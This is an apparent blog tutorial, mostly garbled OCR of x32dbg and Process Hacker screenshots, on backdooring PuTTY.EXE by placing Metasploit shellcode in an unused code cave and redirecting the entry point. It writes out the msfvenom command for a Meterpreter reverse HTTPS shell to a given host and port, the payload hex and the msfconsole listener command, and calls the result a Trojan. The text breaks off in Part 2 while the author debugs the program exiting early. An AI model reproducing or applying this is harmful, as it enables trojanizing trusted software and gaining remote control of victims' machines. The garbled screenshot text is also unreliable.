VX1988
Date: 10/27/2022 2:59AM

Backdoor CodeCave Legitimate PE

Code Cave PE Injection took me a little bit effort to understand but it fascinated me a lot.
One technique that can be used by malware developers is by injecting malicious shellcode
into legitimate Portable Executable(PE) x32/x64 code cave, which is discussed in this blog.
A code cave is a collection of unused bytes in the memory of a process. In simple terms, it is
the addition of a set of instructions within a programme that can be used to change the flow
of execution. Let's see how we can embed malicious shellcode that been modified into
existing software and turn it into a custom Trojan that run under the hood.

Prerequisite Programs :

e https://www.chiark.greenend.org.uk/~sgtatham/putty/releases/0.66.html
o https://processhacker.sourceforge.io/downloads.php

e https://x64dbg.com/

o https://www.metasploit.com/download

Part 1

By executing PUTTY.EXE, we choose the 32-bit type. In this case, we'll need to use the x32
debugger.
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Fle Vien Debuggmmng Plgns Favednies Options Help Apr 172021 (T
5 E % s tau@oEoehn

=) £ source O References W Thveads @ Handes ¢ Trace

Hide FPU
Genersl statistics Performance Threads Token Modues Memory Environment Handes GPU  Comment .
Fie
SSH, Telnet and Rlogin cient - —
(UNVERIFIED) Simon Tatham -
Version: 065,00 Hacker View Tools Users Help
Image fl name: R 3 Options | # Find handles or DLLs =4 System information | (] (3 %
[:\Wsers\Fatahilah\Desktop ORI Evasion 7WE_CODE_CAVE_MSFPUTTY.EXE J[= Processes | Services Network _Disk
Name D CPU YOtotal.. Private.. Username Descriptic
Process [ svchost.exe 1696 3.77 MB  DESKTOP-58N8182Y
Commandine: [ “C:\Wsers\Fatahilah \Desktop ORI Evasion 71PE_CODE_CAVE_MSFPUTTY.EXE™ 1ES B Searchindexerexe 1820 303 MB &8 PUTTV.EXE Properties x
v [cs ORI Evasion 7\PE_CODE_CAVE_MSF\ ] [ svchostexe 4516 2.02 MB General | Compatbity Secuy Detais | Previous Versions
Started [ 28 seconds ago (10:29:51 7 10/27/2022) | [&=) sgrmeroker.exe 4500 31 M8
[&] svchost.exe 3780 16 MB g
PEB address: 0x243000 (32-bit: 0x248000) [[imege type: 3261 & svchostexe o BED
|| parent: [ explorer exe (3599 u [ SecurityHealthServi.. 1284 297 MB Type offle:  Aepication (EXE)
igaton plces:[oep | = g Z;’::Zi'm ;é:: 00 'fif:vm Desotction: ~ SSH, Telnet and Flogin client
|| protectons None Permissions Terminate H 5 svchostene 1o 7o s n
- u i sass.exe . 546 B Location:  C:\Users\Fetahilah\Desktop ORI Evasion 7+PE_CC
[& fortdrvhost.exe 800 125 MB Size 512 KB (524,288 bytes)
[ csrssiene 520 003 193 M8 Size ondisk: 512 KB (524.288 bytes)
~ [ winlogon.exe 584 2.35 MB
[ fontdrvhost.exe 808 3.16 MB Created: Thureday, October 27, 2022, 9:37:23 PM
[l dwm.exe 988 006 773 M8 Modfied:  Saturday, Juiy 25, 2015, 6:2355 P
~ 1 explorer.exe 3644 007 60.77 MB  DESKTOP-53N8182)
o] H (@ vmtoolsd.exe 4728 004 134KB/s 3477 MB DESKTOP-5aNg1s2y Accessed:  Today, Cctober 27, 2022, 51 minutes ago
dose |5 18 processHacker.exe 4620 029 1295 MB  DESKTOP-58N8182
H 250 223 M8 DESKTOP-saNaigs| Abes:  [lReadonty [IHdden Advenced.
x32dbg.exe 32 004 18.03 MB  DESKTOP-58NB8182)
0K Cancel Aoply

Make a note of the entry point by copying and pasting it into any editor you prefer.


https://www.chiark.greenend.org.uk/~sgtatham/putty/releases/0.66.html
https://processhacker.sourceforge.io/downloads.php
https://x64dbg.com/
https://www.metasploit.com/download

Open the x32 debugger and run our target application (PUTTY.EXE)

3% PUTTY.EXE - PID: 1684 - Module: ntdll.dll - Thread: Main 3592 - x32dbg [Elevated] — ] %
Fle View Debug Tracng Plugins Favourites Options r 17 2021 (TitanEngine)
D@ H YR T =& #fx# L B
Bou e ™ MemoryMap | () callstack  SmSEH o] serpt | ®symbols <> Source S References W Threads  #iHandes  §7 Trace
— JmpIntd11. 77751BAC =
Xor eax,eax (HES D
a = EAX 00000000 ~
ov esp, dword EBX 00000000
L— S B s mov dword ptr s ECX  CD710000
mov ecx,dword ebp-10 EDX  DDDDOOOO )
&x 2500 00o000on mov dword ptr 000000 EBP  O019FA4C "ai\x19"
op ecx ESP  DD19FAZ0
pop edi LdrpInitializeprocess” . ESI 77682054 “minkernel\\ntd11\\1drinit.c"
pop esi s"minkernel\\ntd1T\\1drinit.c EDI  7768261C "LdrpInitializeProcess"
pop ebx
13‘“& EIP  77751BA3 ntd11.777518A3
EH00 EFTTITD e mogdlets : [20] EFLAGS 00000246
830D B4677CTT mov dwnr-u ptr d5: [777C67B4] ,ecx ZF 1 PF 1 Al

890D BBEFICTT mov dword ptr ds:[777C67B8],ecx
2808 mov byte ptr d
3848 02 mp byte ptr‘ o
o= v 74 05 je ntdil.
1 E8 94FFFFFF call ntdﬂ 77751377
e 33C XOr eax,eax
€3 ret
8BFF mov edi,
55 push ebp
BBEC mov ebp,esp

FFFFFS

83E4 F8
81EC 70010000
Al 70B37€77

sp
cax,dword ptr
eax, esp

s: [777CB370]
33C4
898424 6C010000

OF 0 SF O DFO
CFO TFO IF 1

LastError 00000002 (ERROR_FILE_NOT_FOUND)
Laststatus CO000034 (STATUS OBJECT_NAME_NOT_FOUND)

G5 D0ZB F5 0053
ES 0028 DS 002E
€S 0023 S5 0028

STFAY NNNNNNNANANNNANNANNN ¥AZ7RA Emnrry A ANAARNAANAAAN ©

~ [ [+]] Unlocked

Default (stdcall)

mov dword ptr ss:[esp+16c],eax [esp+16C]: L"C: \\Windows\\SYSTEM32\\ntd ¥
A 5 |1 Tespr4] 77eB261C "LdrpinitializeProcess”

2: [esp+8] 776B2054 "minkernel\\ntd11y\ldrinit.c”
ntdil.77751BAC 3: [esp+C] 00000000

4: [esp+1D] 00000001

5: [esprls] 0019FA20
.text:777518A3 ntd11.d11: SB1BA3 #BOFA3

4 BA31917
Whoumpi  @oumpz  Wyoump3  WdDump4  Woumps @ wath1  bellocals P struct 0019FA24 | 7768261C | ntd11.776B261C -
EnE | [T ] ooz ntd11.77682054
776A1000 (16 00 18 00|28 7C 14 00 16 00 i
776A1010 C 0E 00 10 00 it
776A1020(0C 00 OE 00 |EQ. 08 00 DA 00 g
7764103006 00 08 00| QL. 06 00 08 00 oioraae T7aco9r from nedll. 7771380
776A1040| 06 00 08 00|D& 06 00 08 00 DDLIFALD R
776A1050(1C 00 1E 00|D4 74 6A 77|6B 4C 73 45 EERY
776A1060 (00 39 7C 77|00 00 00 D
776A1070|20 00 22 00|78 80 GA 77|84 00 86 00 3.3 s
776A1080(20 68 6D 77 |A0 26 7A 77|30 B4 6C | Fzno’ IwkDzw 5
i e fers - L] s L P £ rer & ntd11.7774c0A8 from ntd11.77751877
776AL0A0| 00§ AD 46 7A 77|20 25 €D 7 LW Fzw Simw ime s et v
776A10B0 | BD 45 20 46 7a 77|CO CE 70 77 (A0 46 7A 77| *Ezw FzwhAlpw Fzw vl< S
221 G401 Gz icrcaalac ee A dcwh

Cummand:‘;cmmznds are comma separated (like assembly instructions): mov eax, ebx |Default -
| Paused  [System breskpoint reached! Time Wasted Debugging: 0:02:45:43

We found the entry breakpoint. Take note on the address.

# PUTTY.EXE - PID: 1884 - Module: ntdll.dll - Thread: Main Thread 3582 - x32dbg [Elevated)

File Debug
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View Tracing Plugins Favourites Options Help  Apr 17 2021 (TitanEngine)

9§l tulosEeshr LB

B cru | log  [lnotes  ® Breskpoints | B MemoryMap [/ Call Stack =9 5EH  |of Soipt %] Symbols <2 Source S References 9 Threads  Mla Handles  #7 Trace
e Address |Module/Label/Exception State Disassembly Hits| Summary
Software
00454AD0 | <puUtTy. exe. ENTtryPoint: one-time|push 60 o entry breakpoint]
D045C961 | putty.exe EnabTe: add byte ptr ds:[eax],al [}

We are in memory sessions .text, and usually at the end we will find a space that can be our

code cave.

BB cru |log [ U Motes ® Brezkpoints ™ MemoryMap [/ CallStack =2 SEH |0l seript ] Symbols < 5
Address | size Info content Type | Protection | Initial
00010000 | 00010000 MAP -RW-- -RW--
00020000 | 00001000 MAP -R--- -R---
00030000 | 00001000 MAP -R-—- -R---
00040000 | 00010000 MAP -R---
00060000 | 00035000 | Reserved PRV -RW-
00095 000 | GO00BO00 PRV -RW--
000ADD00 | DOOFBOOOD | Reserved PRV -RW--
00198000 | 00005000 | Thread EO8 Stack PRV
001ADD00 | 00004000 MAP
COL1B0000 | 00003000 MAP
001CO000 | 00002000 PRV
00100000 | 00001000 MAP
00200000 | 00100000 | Reserved PRV
00300000 | 0000B000 PRV
00318000 | OO0ES000 |Reserved (002000000 PRV
00400000 | 00001000 | putty. exe IMG
00401000 | 0OO5CO00 . text” Executable code | IMG
00450000 | 00010000 rdata Read-only initialized data IMG
0047 AD00 | 00006000 .data” Initialized data IMG
00480000 | 00004000 “.rsrc” Resources IMG
00490000 | 00035000 | Reserved PRV
004C5 000 | D000BO00 PRV
OO4ECQOO0 | 00007000 PRV
O04E7000 | 000093000 | Reserved (004E0000) PRV

By scrolling down, our code cave begin here. Set the breakpoint to it for reference.




W% PUTTY.EXE - PID: 1684 - Module: putty.exe - Thread: Main Thread 3592 - x32dbg [Elevated]

Fie View Debug Tracng Plugins
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G Er &L EE

B oru |rlog [ Notes ® Breskpoints  ®M MemoryMap  [J CallStack  S@SEH ol Sript ®lsymbols <Y Source S Refersnces W Thresds B Handees £ Trace
0 TE pop =bx &
. sE pop esi esi:"minkernel\\ntd11\\ldrinit.c
. 5F pop edi edi:"LdrpInitializeProcess
. (=] leave
] C3 ret <
. add byte ptr ds:[eax],al |
. 0000 add byte ptr ds:[eax],al
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte prr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte prr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds
. 0000 add byte ptr ds ~
. id

>

After we have placed our malicious shellcode on the code cave, we will cause PE to jump to
the code cave (0045C961) and then back to the PUTTY.EXE entry point. We need to
override some instruction.

£3

0000
0000
0000
0000
0000
0000
0000
0000
0000
0000
0000
0000
0000
0000
0000

0000 |
0000

ret !

add byte ptr .- :

add byte ptr E PUTTY.EXE X32 Sublime Text (UNREGISTERED)
add byte ptr .
add byte ptr Edit
add byte ptr
add byte ptr
add byte ptr
add byte ptr
add byte ptr
add byte ptr
add byte ptr
add byte ptr
add byte ptr
add byte ptr
add byte ptr
add byte ptr
add byte ptr

File Selection Find View Goto Tools Project Preferences Help

PUTTY.EXE X32
PUTTY.EXE X3

Code Cave Breakpoint Addres

Next, we assemble and make the entry point jump to the code cave

EA 60
68 BO7A4700
E8 08210000
BF 94000000

FF15 E0D24500
890D 30E14700
04

B4
A3 4CE14700
B

og
8915 50E14700
6 0C

74 0C
21CE 00800000
8935 44E14700
C1E0 08

032

AZ 43£14700
33F6

56
833D D8D24500
FFD7

8138 4D5A

75 1F
8848 3C

8139 50450000

= ENtryPoint ~ b

ABO

push &0 |
push .x
call putty.4568E4 ”

q i oInitiali - EAX 00000000
mov. jgx‘é;- edi:"LdrpInitializeProcess o e
all putty. 453540

mov dward ptr ss:febp-15],d
mov esi,

mov dwor

PUTTY.EXE X32 - - Sublime Text (UNREGISTERED) -
File Edit

3 ptr ds:[esi],edi Selection Find View Goto Tools Project Preferences Help

push esi
call dword ptr ds TS
mov ecx,dword ptr ds: [es

PUTTY.EXE X32
PUTTY.EXE X32

mov dword ptr ds:[47! Code Cave Breakpoint Address: @@45C961
mov esi,dword prr ds:[
ind esi,7FFF

mov ptr ds: [47E144]1,

e putty. 44830 PUTTY.EXE X32 (Entrypoint Breakpoint])

2e454AD8 6A 60
0e454AD2 68

push 6@
push putty.477AB8
0B454AD7 8210000 call putty.456BE4
00454ADC 94000000 mov edi,d4
@0454AE1 | 8BC7 mov eax,edi
@0454AE3 | E8 BSFAFFFF call putty.4545A8

mov dword ptr ds:[47E148],9
xor esi,esi

drpInitializeProcess™

push est
mov_edi,dword prr ds: [<sceq]
e LdrpInitializeProcess™

ca
cmp word ptr ds:[eax 4D
jne putty. 454868
mov ecx,dword ptr ds: [
add ecx, eax

If we hit enter, the entrypoint will jump to the code cave.



“ES 8C7EODOO Jmpl putty. 45C56" -
. 47 inc edi W Binary » @lizeProcess
. 00ES add al,ch -
. 0821 or byte ptr ds: [[© Copy 3
. 0000 add byte ptr ds — .
. 8F 34000000 mov edi, 94 ) Amrmedmrn Ctrl+Backspace  @1iZeProcess
. 8BCT mov_eax, edi alizeProcess!
. E£8 BSFAFFFF call putty.4545: @ »
. 8965 E8 mov dword ptr s: Eea e
. BBF4 mov esi,esp W i »
. B893E mov dword ptr d: Follow in Dump ntd11\\1drinit.c", edi:"LdrpInitializeProcess™
. 56 51 » \ntd11%\1drinit.c
. FF15 EOD24500 €all dword ptr ¢ Pl
. BB4E 1 mov ecx,dword il i S 5
M o Sp = gt b Follow in Memory Map Assemble at 004544D0 x
. 8B46 04 mov eax,dword Graph G
. A3 4CE14700 mov dword ptr d: |Jmlj 0x0045C96 1 ‘
. 8B56 08 mov edx,dword Help on Symbolic Name [
. 8915 SOE14700 mov dword ptr d: N N . .
. 8B76 0C mov esi,dword B [ telp on mnemonic e [ keepsize [ FilwithnoP's (O XEDParse (@) asmiit Cancel
. 81E6 FFTFO000 and esi F
. 8935 44E14700 mov dword ptr d: Q From e Cirl+Shift+F1 Instruction encoded successfully!
. B3F9 02 cmp ecx,2
- v| 74 0 je putty.454830 ighlighti
. BICE 00800000 or esi,B000 £ Highlighting mode 7] ‘(\r"r't.c
. 8935 44E14700 mov dword ptr d: » drinit.c
e C1ED 08 shl eax,s % Label
. o03c2 add eax,edx .
. A3 48E14700 mov dword ptr d: ¥ Lo ’
. 33F6 xor esi,esi
. = T e ﬁ Toggle Bookmark Ctrl+D .
. 8B3D DSD24500 mov edi,dword p ;¥ » alizeProcess
. e Lt #7  Trace record =
. cmp word ptr ds /
- - jne putty. 45486l Analysis b/
. mov ecx,dword p; / i /
. 3C8 add ecx,eax o
. 8139 50450000 cmp dword ptr df 488 Assemble Space
e «| 75 12 jne putty. 45486
. OFB741 18 movzx eax,word | ¢” Patches Cirl+P
. 30 0DBO10000 cmp eax,108 v
e - = per
Set New Origin Here Ctrl+= > ]
]9 Create New Thread Here
xe:$54ADD #54AD0 <EntryPoint> & oot e
0019FA20
@4 Dump 3 4% Dump 4 4l Dump 5 I*=lloci o] Search for » 277 return
g 3 | ~
— AROORTER0n n Find references to | B2 A0 ntdl1.7
LoD A 0E 00 10 00 2 i
EEEGECT) ne nn na nnlne 72 &a 5| 00000000 :
. . 0
Because our shellcode will change the machine's state and some stack values, we must
%% PUTTY.EXE - PID: 1684 - Module: putty.exe - Thread: Main Thread 3582 - x32dbg [Elevated]
File Wiew Debug Tradng Plugins Favourites Options Help Apr 1720 Engine)
S5 E S0 ¥ ed ¢l @ # AaB EE
Lt = i ] i 53] Seri Fe
B cru ? Lo ® Breakpoints ¥ Memory May Call Stack =@ SEH ¢ Seript %] Symbols <2 source References W Thre
mov eax,ecx ~l
pop ebx . . g .
esi minkernel’\ntd1\\1drinit.c
LdrpInitializeProcess
W
>

Drag the mourse scrolling to down by selecting the code cave we want and go to binary and

edit.



3 PUTTY.EXE - PID: 1684 - Module: putty.exe - Thread: Main Thread 3532 - x32dbg [Elevated]

021 (T

File Wiew Debug Tracng Plugins Favourites Options Help  Apr

S E =i & 9d§ twl &2 fis aE B
B cru | 4 Log |1 Notes #® Breakpoints B Memory Map ) call stadk =3 SEH Le3| Seript & symbols <¥ Source 4~ References W Thre
= | DO45CEDS 0000 add byte ptr ds:[eax],al =N
» | D045CEDE 0000 add byte ptr ds:[eax],al
» | DD45CEDD o000 add byte ptr ds:[eax],al
» | DD45CEDF 0000 add byte ptr ds:[eax],al
= | DO45CEEL 0000 add byte ptr ds:[eax],al
= | DO45CEE3 0000 add byte ptr ds:[eax],al
» | DD45CEES o000 add byte ptr ds:[eax],al
» | DD45CEET 0000 add byte ptr ds:[eax],al
» | DD45CEED 0000 add byte ptr ds:[eax],al
= | DD45CEEBE 0000 add byte ptr ds:[eax],al
» | DD4SCEED o000 add byte ptr ds:[eax],al i " »
# | DD45CEEF 0000 add byte ptr ds:[eax],al lis|  Binary
» | DD45CEF1 0000 add byte ptr ds:[eax],al N
= | DO45CEF3 0000 add byte ptr ds:[eax],al L] Copy
» | DD45CEFS 0000 add byte ptr ds:[eax],al - X »
» | o045CEFT 0000 add byte ptr ds:[eax],al Ereakpoint
» | DO45CEF2 0000 add byte ptr ds:[eax],al . b
» | boascEFR 0000 add byte ptr ds:[eax],al Follow in Dump
» | DD45CEFD 0000 add byte ptr ds:[eax],al .
o OOECEEE BO00 ETil| Eyyte pir T.a Follow in Memary Map
. 0000 add byte ptr 142l
. 0000 add byte ptr i.al Graph G
. 0000 add byte ptr 1.al
Y 0000 add bite gtr i.a1 Help on mnemanic Cirl+F1
. 0000 add byte ptr 1.4l
. Q000 add b;te gtr b :a' Show mnemonic brief Ctrl+shift+F1
. 0000 add byte ptr 1.al A
. 0000 add byte ptr ]ia Highlighting mode H
. 0000 add byte ptr 1,al
. 0000 add byte ptr ::a' Label L
. 0000 add byte ptr 1,2l .
L 0000 add byte ptr 1.al Comment : v
< Toggle Bookmark Cirl4D > |
byte ptr ds:[eax] i
al= Trace record r
c B c B #
TeXT:0045C963 putty.exe: $5C963 #5C963 F Anslusia »

Let's create our malicious shellcode in HEX. Metasploit will be used to create a reverse shell
for the listener. Copy the HEX and paste on binary editor.

msfvenom -p windows/meterpreter/reverse https lhost=192.168.174.131 lport=443 -f

hex > code cave.txt

| J ~[Desktop/code_cave.txt - Mousepad
File Edit Search View Document Help
BEOBCx « oo a®w

1 fce88f0000006031d2648b52308b520c89e58b52148b722831ff0fb74a2631c0ac3c617c022
c20c1cfode1c74975ef52578b52108b423c01d08b407885c0744c01d08b48188b582001d3508
5c9743c31ff498b348b01d631cOcicfodacdlc738e075f4037df83b7d2475e0588b582401d36
ésbckbsbislcﬂld:iBbﬂkaﬂldﬂB‘)fq424245b5b61l§95a51ffeﬂ5. (kali® cooki3s)-[~/Desktop]

66574(1657?69686954654(:7726Tffd531db5353535353687'58',j -p windows/meterpreter/reverse_https lhost=192.168.174.131 lport=443 -f hex > code_cave.txt

€3020284d6163696e74673683b20496€74656c204d61632045 [-] No platform was selected, choosing Msf odule::Platform: :Windows from the payload
170706c655765624b69742F3630352e312e313520284b48544d4 [-] No arch selected, selecting arch: x86 from the payload
- ' g

f292(156657273696f662f3135263225361666172592;363351’“0 encoder specified, outputting raw payload
d553536a03535368bb010000e82601000021315531533531537a Payload size: 646 bytes N l
386772727958446a484e7274525167476a5652746d4a546C4356 Final size of hex file: 1202 bytes
77324d6247506533596b7476646670395541734530667957336¢
5f6c4e3851796e76457832544171484e4468696d344d4d4C656745000D/949510a5 /00726152

5171527458437a37695344546b676300506857899fc6ffd589c653680032e884535353575356
68eb552e3bf fd5966a0a5f688033000089e06a04506a1f566875469e86f fd55353535356682
d06187bf fd585c0751468881300006844F035e0ffd54f75cde84c0000006a406800100000680
0004000536858a453e5f fd593535389e7576800200000535668129689e2ffd585c074cf8bOT0Q
1c385c075e558c35fe86bffffff3139322e3136382e3137342e31333100bbfob5a2566a0
ffds

Listener :

msfconsole -x "use exploit/multi/handler; set PAYLOAD
windows/meterpreter/reverse https; set LHOST 192.168.174.131; set LPORT 443; run;

exit -y



=
PUTTY.EXE - PID: 1 pu e - Thre Main Thr .
& ! Edit code at 0045963 =
File View Debug Tradng Plugins Favourites Options Help  Apr 17 2021 (TitarEngine)
SE =0 tdwy tunlo=eLhs 2L B9 Hex | Sting  Copydata
By | [Jlog  [SiNotes  ® Breckponts M MemoryMap [l CalStack  SmSEH o & asc
»|[0045CECT 0000 add byte ptr ds:[eax],al
o | 0o4sceca 0000 add byte ptr ds:[eax],al [
| oosscece 0000 add byte ptr ds:[eax],al
| oossceco 0000 add byte prr ds:[eax],al UNICODE:
o | 0045CECF 0000 add byte ptr ds:[eax],al
| 0045CEDL 0000 add byte ptr ds:[eax],al [
| 0oasceps 0000 add byte ptr ds:[eax],al
* | 0045CEDS 0000 add byte ptr ds:[eax],al
| D045CED7 0000 add byte ptr ds:[eax],al B UFs Codepage...
| 0045CED9 0000 add byte ptr ds:[eax],al
o | 0045CEDB 0000 add byte ptr dsi[eax],al [
o | 0045CEDD 0000 add byte ptr ds:[eax],al
| 0045CEDF 0000 add byte ptr ds:[eax],al o
o | 004sCEEL 0000 add byte ptr dsi[eax],al
| 0045CEE3 0000 add byte ptr ds:[eax],al FC ES 8F 00 00 00 60 31 D2 64 8B 52 30 8B 52 OC
| DO4SCEES 0000 add byte ptr ds:[eax],al 893 ES 8B 52 14 8B 72 28 31 FF OF B7 4A 26 31 CO
@ | D045CEE7 0000 add byte ptr ds:[eax],al AC 3C 61 7C 02 2C 20 CL CF 0D 01 C7 49 75 EF 52
© | oossceea 0000 add byre prr ds:[eax],al 57 8B 52 10 8B 42 3C OL DO 8B 40 75 85 CO 74 4C
| DO4SCEEE 0000 add byte ptr ds:[eax],al 01 DO 8B 48 18 8B 58 20 01 D3 50 85 C3 74 3C 31
| D045CEED 0000 add byte ptr ds:[eax],al FF 49 8B 34 8B 01 D6 31 CO Cl CF OD AC 01 C7 38
| oasceer 0000 add byte prr ds:[eax],al ED 75 F4 03 7D F8 3B 7D 24 75 EO 58 88 58 24 01
* | 0045CEFL 0000 add byte ptr ds:[eax],al D3 66 8B OC 4B 8B 58 1C 01 D3 8B 04 8B 01 DO 89
| DO4SCEF3 0000 add byte ptr ds:[eax],al 44 24 24 5B 5B 61 59 SA 51 FF E0 58 5F SA 88 12
@ | D045CEFS 0000 add byte ptr ds:[eax],al E9 80 FF FF FF 5D G8 GE 65 74 00 68 77 69 GE €9
o | 0oasceF? 0000 add byre prr ds:[eax],al 54 68 4C 77 26 07 FF D5 3L DB 53 53 53 53 53 EB
| D04SCEFS 0000 add byte ptr ds:[eax],al 75 00 00 00 4D 6F 7A 63 6C 6C 61 2F 35 2E 30 20
| D045CEFS 0000 add byte ptr ds:[eax],al 28 4D 61 63 69 6E 74 GF 73 63 3B 20 43 6E 74 65
| ooascerp 0000 add byte prr ds=:[eax],a] 6C 20 4D 61 63 20 4F 53 20 58 20 31 32 5F 32 5F
o[ 00asCEFF 0000 add byte ptr ds:[eax],al 31 29 20 41 70 70 6C 65 57 65 62 4B 63 74 2F 36
¢ | 0045CFOL 0000 add byte ptr ds:[eax],al 30 35 2E 31 2E 31 35 20 28 48 48 54 4D 4C 2C 20
®| 0045CFO3 0000 add byte ptr ds:[eax],al 6C 69 GB 65 20 47 65 63 6B GF 29 20 56 65 72 73
[ 0oascros 0000 add byte ptr ds:[eax],al 69 6F GE 2F 31 35 2E 32 20 53 61 66 61 72 €9 2F
< 36 30 35 2E 31 2E 31 35 00 6B 3A 56 73 A7 FF D5
53 53 6A 03 53 53 68 BE 0L 00 00 E8 26 01 00 00 s
2F 31 55 31 53 35 31 53 7A 58 7A 75 4B 72 43 75
74 36 66 59 74 38 67 72 72 79 5B 44 GA 48 4E 72
74 52 51 67 47 GA 56 52 74 6D 4A 54 6C 43 56 74
.text:DO4ECI63 putty. exe: SECI63 #5CI63 PAE R T e D 8 76 4B OB °H 7 iE S0 of o
z 50 65 33 59 6B 74 76 64 66 70 39 55 41 73 45 39 i
Bioump1  @pump2 @Y Dump3 pump4 Y Dump s @ watch 1 [x=] Locals 66 79 57 33 6C 68 73 41 66 36 70 62 71 37 70 76
64 SF 6C 4E 38 51 73 GE 76 45 78 32 54 41 71 48 '
L= 4E 44 68 63 60 34 4D 4D 4C 65 67 45 68 79 49 d
16/ 00 18 0028 7C G 51 6A 57 6B 72 GF 52 51 7L 52 74 58 43 74 37 63
. 53 44 54 6B 67 63 00 50 68 57 83 3F CG FF D5 89
0C 00 OE 00|EQ 7D — —
06 00 08 00RO 7D
06 00 08 00D 0 [ ox ]
¢ 0o 1t 00|ps & : O EURLD [ Keep Size oK Cancel
-TTDDDDDDDD_EE;LZEATT Z
W% PUTTY.EXE - PID: 1684 - Module: putty.exe - Thread: Main Thread 3592 - x32dbg [Elevated] - [m] x
Fle View Debug Tradng Plgins Favourites Options Help  Apr 17 2021 (TitanEngine)
2o i s talIEs Py 2 LES
By [log  [totes  ® Brealpons M MemoryMap [ Cal Stack stH  lo/sopt  ®symbos < Source S References W Threads B Handies Trace
®|[0035C964 ES FO00000 €all putily.45CoF8 5 [
o 004sco6a sushad "~ ~ EE D
ol 0045C96A xor edx,edx
® | 0045C3 54 sas* 30 mov edx,dword ptr Hll: [edx+30] EAX Donooooo @
0045¢3 852 mov edx,dword ptr ds: [edx+C] EEX (0000000
0045C9 BIES mov ebp,esp ECX  CD710000
o|| 0045co 8852 14 mov edx,dword ptr ds:[edx+ 14] EDX 00000000 i
o|| 0045co 8872 28 mov esi,dword ptr ds:[edx+2a] esi:"minkernel\yntd11\\Tdrinit. c” EBP  DDL19FA4C "oihx19"
o/l 004sco7R F xor edi,edi LdrpInitializeProcess ESP  DOL3FAZ0
o| 0045370 OFB74A 26 movzx ecx,word ptr ds:[edx+26] ESI 77682054 “minkernel\\ntd1T\\1drinit.c"
®|| 0045C381 31co XOr eax,eax ERI  776B261C “LdrpInitializeProcess”
0045C983 EH
0045984 3C 61 cmp a 61:'a’
Ooiicoms| L X &: 11 pu“y —_— EIP  777518A3 ntd11.777518A2
0045C9: ac_zo0 o
0045C98A CICF oD ror em,n drnInitializeProcess EREACSIIIOO002.38
e 0045C98D 01c7 add edi,ea y JInitializeProcess” &b i P AERO)
®| 0045C28F 49 dec ecx 2] Binary OF 0 SF O DFO
®|| 0045C990| ~ 75 EF jne putty. = o » LEO TFO IF 1
0045C992 52 pusR =gx Ll Copy - .
ol 00450993 push edi sInitializeProcess LasteError 00000002 (ERROR_FILE_NOT_FOUND
o 0045c993 8852 10 hov edx,d  Restore selecton Cirl-+Backspace LaSTSTatus COD00034 (STATUS_OBIECT_NAME_NOT_FOUND)
ol 0045C997 8842 3C mov eax,dw o - b
o[ 0045C99a 0100 add eax,gd Breakpaint O D 55 50
ol 0045C99C 8840 75 mov_eax,dw
o[ 0045c39F 85Co test eax,e b FollowinDump 4 o
0045C3AL| v 74 4C ic putty 4 gy N
ohascons oino pddgenxten Follow in Disassembler ST ANNNAAAAANANANNNANANA ¥&7rA Ematy N ANAAAAAANANNN
0045C9AS 8B43 18 mov ecx,dw mm MATEN EmaTy
0045C9AB 8858 20 mov ebx,dw +@ Followin Memory Map B
0045C3AB 0103 add ebx,ed =
0045C9AD 50 push eax B Graph G v [ Default (stdcal) [5 120 unlocked
= B [esp+4] 776B261C "LdrpInitializeProcess”
ﬁ Help on mnemanic. Ctrl+F1 [esp+8] 776B2054 “minkerneli\ntd11\\Idrinit.c” .
76B261C "LdrpInitializeProcess” [esp+C]_00000000
. 2t Show mnemonic brief Cirl+Shift+F1 [esp+10] 00000001
Feso+141 0019FAZ0 A
.TEXT:0045C98A PUTTY.exe: $5CI8A #5C98A £ Highlighting mode H < >
" 1 i Label 4 O019FAZ
Woump1  @hpump2  @hoump3  @oump+  WHoumps @ w & 7774C087 | return to ntd11.7774c087 from ntdl1.77714380 ”
Comment ; 0013FCIC ] I
::‘xw T 7 = | 0019Fa20 | 7771AB40 | ned11. 7771040
2 & 4% Toggle Bookmark Ctrl+D 0019FA44 | CD52A7DF
T oo . 0019FA42 | 00000000
e e e oo ¢ Trace record 3 0019FA4C | DOLIFCAC
ekootoakon 2 0019FA50 [7774C0A8| return to ntdl1.7774c048 from ntdl1.77751877
ekt ikon o 0019FA5 4 | BA319793
Te == Analysis 4 ‘0019FA58 | 0030E000
0019FASC | 00000000
00311000 | &"@i\x19"
Assemble Space 008A00S8S|
D05727F0| L"C:\\Usersh\Fatani11an\\0eskiop\\0RT Evasion 7\\PECC,,
EEEEID Patches Ccul+p ¥ ] o B N e e N
< >
P . % SetNew Origin Here Crl+* |Defaute  ~
Paused  |putty.exe: 0045C963 -> 0045C96E (0X0000000C bytes) |#  Create New Thread Here Time Wasted Debugging: 0:03: 16:48
~

Problem: The reverse shell works well but we can see the program has exited and not

launch the putty execution.

Part 2

In my case, after our shellcode launches reverse shell, it calls some short of exit with a

function that is similar. We can try to find out where the exit call is being made and skip or

override it. Lets put breakpoint on every call in our shellcode.



S¥ PUTTY2.EXE - PID: 1408 - Module: putty2.exe - Thread: Main Thread 4472 - x32dbg [Elevated]
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o sl tew§ tauleePhs A B F

By [Jog [ Notes ® Breakpoints ™ Memory Map [/ Call Stack S SEH  [of Saipt &

®| O045CBGSE 68 7S5469E86 push B869E4675

L] H FFDS call =bp

@ D045CBEF 53 push ebx

& 0045CB7 0 53 push ebx

®| 0045CB71 53 push ebx

®| 0045CB7 2 53 push ebx

®| OD45CBT3 5E push esi

®| O045CB7 4 &8 2DOG1BT7E push 7B1B06&2D

= | DD45CB79 FFDS call ebp

& | O045CEB7E BECO test eax,eax
r———--% || 0O45CBTD « 75 14 jne putty2.45CBS3
i e || D045CBTF &5 38130000 push 1358
